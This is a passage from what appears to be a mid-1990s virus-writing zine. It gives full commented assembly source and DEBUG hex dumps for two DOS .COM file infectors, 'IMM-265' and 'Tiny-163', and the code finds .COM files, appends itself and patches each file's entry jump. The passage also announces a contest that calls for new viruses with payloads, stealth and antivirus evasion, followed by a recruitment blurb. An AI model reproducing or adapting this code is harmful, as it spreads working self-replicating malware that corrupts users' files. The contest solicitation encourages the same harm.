ptr [infcnt+bp],0 fnext: add byte ptr [infcnt+bp],1 cmp byte ptr [infcnt+bp],6 je re_dta mov byte ptr [fspec+bp],'*' int 21h jc re_dta ;No files found mov byte ptr [fspec+bp],'z' lea dx,[eov+1eh+bp] ;Open file mov ax,3d02h int 21h jc nextf ;Error opening file, next! xchg bx,ax mov cx,0004h ;Read first 4 bytes for check mov ah,3fh ; if already infected! lea dx,[orgbts+bp] int 21h cmp byte ptr [orgbts+bp+3],'I' ;Already infected jz shutit mov ax,4202h ;Goto eof sub cx,cx ;2 byte version of mov cx,0!! cwd ;1 byte version of mov dx,0!! int 21h sub ax,0003h ;Use our jmp table mov word ptr [bp+jmptbl+1],ax mov ah,40h ;Implend our viral code into victim mov cx,eov-start lea dx,[bp+start] int 21h mov ax,4200h ;Goto SOF sub cx,cx cwd int 21h mov ah,40h ;Write first four bytes over mov cx,0004h ; the original lea dx,[bp+jmptbl] int 21h shutit: mov ah,3eh ;Close victim int 21h nextf: mov ah,4fh ;Find next file jmp fnext re_dta: mov ah,1ah ;Reset DTA mov dx,0080h int 21h mov di,0100h ;Return control to original file! push di ret fspec db 'z.com',0 infcnt db 0 jmptbl db 0e9h,00h,00h,'I' orgbts: db 90h,90h,90h,90h eov: end start -------------------------------------------------------------------------- N IMM-265.COM E 0100 E9 02 00 49 C3 53 58 B8 01 FA BA 45 59 CD 16 E8 E 0110 00 00 5D 81 ED 0D 01 8D B6 05 02 BF 00 01 A5 A5 E 0120 0E 1F 8D 96 09 02 B4 1A CD 21 B0 01 B4 35 CD 21 E 0130 06 58 3D 70 00 75 16 B0 03 B4 35 CD 21 06 58 3D E 0140 70 00 75 09 B4 2C CD 21 80 FA 0D 7F 04 B0 82 E6 E 0150 21 B4 2C CD 21 80 FA 32 7C 21 B4 09 8D 96 64 01 E 0160 CD 21 B4 00 CD 16 EB 13 90 69 4D 4D 6F 52 54 61 E 0170 4C 2E 32 36 33 21 21 07 0A 0D 24 B4 4E 8D 96 FA E 0180 01 C6 86 00 02 00 80 86 00 02 01 80 BE 00 02 06 E 0190 74 61 C6 86 FA 01 2A CD 21 72 58 C6 86 FA 01 7A E 01A0 8D 96 27 02 B8 02 3D CD 21 72 44 93 B9 04 00 B4 E 01B0 3F 8D 96 05 02 CD 21 80 BE 08 02 49 74 2D B8 02 E 01C0 42 2B C9 99 CD 21 2D 03 00 89 86 02 02 B4 40 B9 E 01D0 09 01 8D 96 00 01 CD 21 B8 00 42 2B C9 99 CD 21 E 01E0 B4 40 B9 04 00 8D 96 01 02 CD 21 B4 3E CD 21 B4 E 01F0 4F EB 93 B4 1A BA 80 00 CD 21 BF 00 01 57 C3 7A E 0200 2E 63 6F 6D 00 00 E9 00 00 49 90 90 90 90 RCX 010E W Q -------------------------------------------------------------------------- By: [Hacking Hell]!------------------------------Immortal Virus Magazine-------------------------- -----------------------------------Issue 95.1---------------------------------- ------------------------------------Tiny-163----------------------------------- This is a very old virus, it also is very small and very easy to detect, it is .COM infector, non-encrypting, non-tsr, non-payloaded, in fact, it does nothing but infecting, I think it's somebodies first virus or something. Compile with A86 or TASM/TLINK! -------------------------------------------------------------------------- .Model Tiny .Code data_2e equ 1ABh ;start of virus seg_a segment byte public ; assume cs:seg_a, ds:seg_a ;assume cs, ds - code org 100h ;orgin of all COM files s proc far start: jmp loc_1 ;jump to virus ;this is a replacement for an infected file db 0CDh, 20h, 7, 8, 9 ;int 20h ;pop es loc_1: call sub_1 ; s endp sub_1 proc near ; pop si ;locate all virus code via sub si,10Bh ;si, cause all offsets will mov bp,data_1[si] ;change when virus infects add bp,103h ;a COM file lea dx,[si+1A2h] ;offset of '*.COM',0 - via SI xor cx,cx ;clear cx - find only normal ;attributes mov ah,4Eh ;find first file loc_2: int 21h ; jc loc_6 ;no files found? then quit mov dx,9Eh ;offset of filename found mov ax,3D02h ;open file for read/write access int 21h ; mov bx,ax ;save handle into bx mov ah,3Fh ;read from file lea dx,[si+1A8h] ;offset of save buffer mov di,dx ; mov cx,3 ;read three bytes int 21h ; cmp byte ptr [di],0E9h ;compare buffer to virus id ;string je loc_4 ; loc_3: mov ah,4Fh ;find the next file jmp short loc_2 ;and test it loc_4: mov dx,[di+1] ;lsh of offset mov data_1[si],dx ; xor cx,cx ;msh of offset mov ax,4200h ;set the file pointer int 21h ; mov dx,di ;buffer to save read mov cx,2 ;read two bytes mov ah,3Fh ;read from file int 21h ; cmp word ptr [di],807h ;compare buffer to virus id je loc_3 ;same? then find another file ;heres where we infect a file xor dx,dx ;set file pointer xor cx,cx ;ditto mov ax,4202h ;set file pointer int 21h ; cmp dx,0 ;returns msh jne loc_3 ;not the same? find another file cmp ah,0FEh ;lsh = 254??? jae loc_3 ;if more or equal find another file mov ds:data_2e[si],ax ;point to data mov ah,40h ;write to file lea dx,[si+105h] ;segment:offset of write buffer mov cx,0A3h ;write 163 bytes int 21h ; jc loc_5 ;error? then quit mov ax,4200h ;set file pointer xor cx,cx ;to the top of the file mov dx,1 ; int 21h ; mov ah,40h ;write to file lea dx,[si+1ABh] ;offset of jump to virus code mov cx,2 ;two bytes int 21h ; ;now close the file loc_5: mov ah,3Eh ;close file int 21h ; loc_6: jmp bp ;jump to original file data_1 dw 0 ; db '*.COM',0 ;wild card search string sub_1 endp seg_a ends end start -------------------------------------------------------------------------- N TINY-163.COM E 0100 EB 06 90 CD 20 07 08 09 E8 00 00 5E 81 EE 0B 01 E 0110 8B AC A0 01 81 C5 03 01 8D 94 A2 01 33 C9 B4 4E E 0120 CD 21 72 7A BA 9E 00 B8 02 3D CD 21 8B D8 B4 3F E 0130 8D 94 A8 01 8B FA B9 03 00 CD 21 80 3D E9 74 04 E 0140 B4 4F EB DC 8B 55 01 89 94 A0 01 33 C9 B8 00 42 E 0150 CD 21 8B D7 B9 02 00 B4 3F CD 21 81 3D 07 08 74 E 0160 DF 33 D2 33 C9 B8 02 42 CD 21 83 FA 00 75 D1 80 E 0170 FC FE 73 CC 89 84 AB 01 B4 40 8D 94 05 01 B9 A3 E 0180 00 CD 21 72 15 B8 00 42 33 C9 BA 01 00 CD 21 B4 E 0190 40 8D 94 AB 01 B9 02 00 CD 21 B4 3E CD 21 FF E5 E 01A0 00 00 2A 2E 43 4F 4D 00 RCX 00A8 W Q -------------------------------------------------------------------------- By: [Hacking Hell]!------------------------------Immortal Virus Magazine-------------------------- -----------------------------------Issue 95.1---------------------------------- -------------------------------------Contest----------------------------------- Now everybody look at this: We start a virus writing contest. Rules: Your Virus must be smaller than 1k, it must be appending, minimally one (1) Payload, original ideas (no mutations), assembly source must be included, and .COM infections. Options: Stealth Cloaking Built-in trojan more payloads Traverse TSR TBAV hide etc. Send it to our WHQ: Arrested Development (+31 77 547477), User: Hacking Hell / Cyborg / Android / Arnie II / Foxman.... By: [Cyborg], typed by [Hacking Hell] on his computer due incompatible keyboard... (His computer was busy with leeching) ------------------------------Immortal Virus Magazine-------------------------- -----------------------------------Issue 95.1---------------------------------- -------------------------------------Contact----------------------------------- So, you wanna contact us (why else would you read this boring stuff!). You can contact us at our WHQ: Arrested Development (+31 77 547477), mail something to Hacking Hell, Cyborg, Android, Arnie II or FoxMan. We also will soon have a E-Mail address (UNKNOWN YET!)!! COOL! (This was a butthead break-in!). If you wanna become a member and you can program h/p/a/v or you have Internet please leave a mezzie to Hacking Hell or Cyborg (NOT to the other guyz!) We need some (very) good hacking / phreaking / anarchism / virus writer(s), we would especially like a female virus-writer! I don't know any yet, mail me and wake me up! [Cyborg Interrupts] Oh,no, he is searching for a [HACKING HELL: GET LOST CYBORG, WHAT'S WRONG ABOUT A FEMALE IN OUR GROUP?!?] Nothing's wrong withj it, I was just a lil' childish and making a joke!! You may proceed, my good Earthling... [HACKING HELL BACK AGAIN] Cyborg, please stop discriminating the female race! Cyborg, don't touch this keyboard! It's mine! Mine! Mine! Let me go!!!! BANG! That was my shotgun... Shit, missed! Cyborg, next time you touch me, I will destroy you, I programmed you, I can also eliminate you! [Cyborg Interrupts again.] Well, One: I did not discriminate anyone, and TWO, you cannot fight a Cyborg, You may have programmed me, but you do not control me and you never will. DataBank Reports:" To Control: to have the power to destroy." Now, for you know that, you might proceed, if you know the magic word: Ah, ah, ah, you didn't say the magic word, ah, ah, ah,......NO CARRIER [HACKING HELL BACK AGAIN] WATCH ME! I will destroy you in a jiffy! And now for real: No Carrier... By: [Hacking Hell: On my own computer] and [Cyborg: Also on my computer!]...